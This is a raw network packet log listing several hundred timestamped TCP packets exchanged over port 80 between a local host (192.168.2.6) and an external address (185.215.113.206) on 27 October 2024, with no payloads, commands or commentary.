Oct 27, 2024 00:31:15.747095108 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.747869968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.747879982 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.747889042 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.747898102 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.747910976 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.747917891 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.747921944 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.747929096 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.747937918 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.747948885 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.747956991 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.747966051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.747968912 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.747968912 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.747997999 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.748902082 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.748912096 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.748920918 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.748929024 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.748939991 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.748950005 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.748950958 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.748960018 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.748970032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.748972893 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.748980045 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.748981953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.749007940 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.749026060 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.749790907 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.749800920 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.749831915 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.749846935 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.857508898 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.857549906 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.857573986 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.857580900 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.857615948 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.857615948 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.857729912 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.857749939 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.857772112 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.857779026 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.857790947 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.857795954 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.857815981 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.857837915 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.858118057 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.858135939 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.858161926 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.858191967 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.858355999 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.858376026 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.858397007 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.858406067 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.858418941 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.858423948 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.858432055 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.858439922 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.858454943 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.858462095 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.858485937 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.858485937 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.858496904 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.858520985 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.859133005 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.859150887 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.859170914 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.859178066 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.859193087 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.859195948 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.859211922 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.859216928 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.859236956 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.859240055 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.859261036 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.859265089 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.859276056 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.859282970 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.859311104 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.859344006 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.859778881 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.859793901 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.859807968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.859822989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.859826088 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.859836102 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.859839916 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.859848022 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.859855890 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.859872103 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.859882116 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.859903097 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.860457897 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.860470057 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.860481024 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.860491991 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.860496998 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.860507965 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.860519886 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.860519886 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.860527039 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.860532999 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.860547066 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.860632896 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.861314058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.861325979 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.861335993 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.861346960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.861360073 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.861371994 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.861376047 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.861383915 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.861396074 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.861398935 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.861421108 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.861435890 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.862179041 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.862190962 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.862200022 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.862210989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.862222910 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.862226963 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.862236023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.862246990 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.862253904 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.862260103 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.862281084 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.862296104 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.863037109 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.863049030 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.863058090 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.863069057 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.863080978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.863091946 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.863092899 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.863102913 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.863115072 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.863127947 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.863149881 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.863164902 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.863888979 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.863900900 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.863910913 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.863923073 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.863933086 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.863936901 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.863945961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.863956928 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.863969088 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.863982916 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.864010096 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.864763975 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.864775896 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.864785910 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.864797115 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.864806890 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.864809990 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.864824057 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.864828110 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.864835978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.864847898 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.864856005 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.864869118 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.864897013 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.865564108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.865575075 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.865585089 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.865597010 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.865605116 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.865607023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.865626097 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.865628004 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.865639925 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.865650892 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.865653038 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.865672112 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.865695953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.974517107 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.974553108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.974584103 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.974616051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.974618912 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.974664927 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.974673986 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.974701881 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.974710941 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.974735975 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.974766016 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.974771023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.974782944 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.974811077 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.974844933 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.974863052 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.974865913 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.974895954 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.974930048 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.974930048 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.974947929 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.974963903 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.974976063 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.974998951 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.975040913 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.975048065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.975080013 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.975106955 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.975114107 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.975136995 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.975151062 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.975188017 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.975194931 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.975223064 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.975233078 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.975256920 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.975270033 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.975291014 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.975301027 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.975332975 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.975349903 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.975383043 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.975415945 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.975416899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.975429058 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.975469112 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.975502014 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.975517035 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.975545883 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.976001978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.976037025 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.976053953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.976068020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.976089001 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.976104021 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.976118088 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.976140976 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.976188898 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.976192951 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.976227045 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.976238966 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.976262093 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.976273060 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.976298094 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.976313114 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.976330996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.976345062 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.976530075 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.977099895 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.977134943 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.977159977 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.977166891 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.977188110 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.977202892 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.977212906 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.977237940 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.977252007 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.977272034 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.977307081 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.977308035 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.977323055 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.977341890 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.977371931 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.977377892 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.977382898 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.977412939 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.977433920 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.977453947 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.978266954 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.978300095 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.978327036 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.978333950 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.978349924 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.978372097 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.978379965 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.978421926 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.978427887 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.978456020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.978473902 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.978490114 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.978519917 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.978523970 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.978539944 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.978558064 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.978607893 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.978910923 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.978945971 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.978965998 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.978980064 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.978991032 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.979015112 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.979024887 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.979049921 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.979060888 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.979094028 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.979104042 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.979137897 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.979146957 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.979171038 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.979182005 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.979202986 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.979219913 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.979238033 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.979247093 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.979285955 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.979763985 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.979798079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.979816914 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.979831934 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.979841948 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.979866982 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.979873896 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.979902029 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.979912043 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.979937077 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.979974031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.979988098 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.980007887 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.980010986 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.980041981 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.980062008 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.980083942 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.980488062 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.980521917 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.980555058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.980571032 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.980587959 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.980598927 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.980623007 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.980633974 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.980658054 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.980669022 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.980695009 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.980706930 CEST	49709	80	192.168.2.6	185.215.113.206
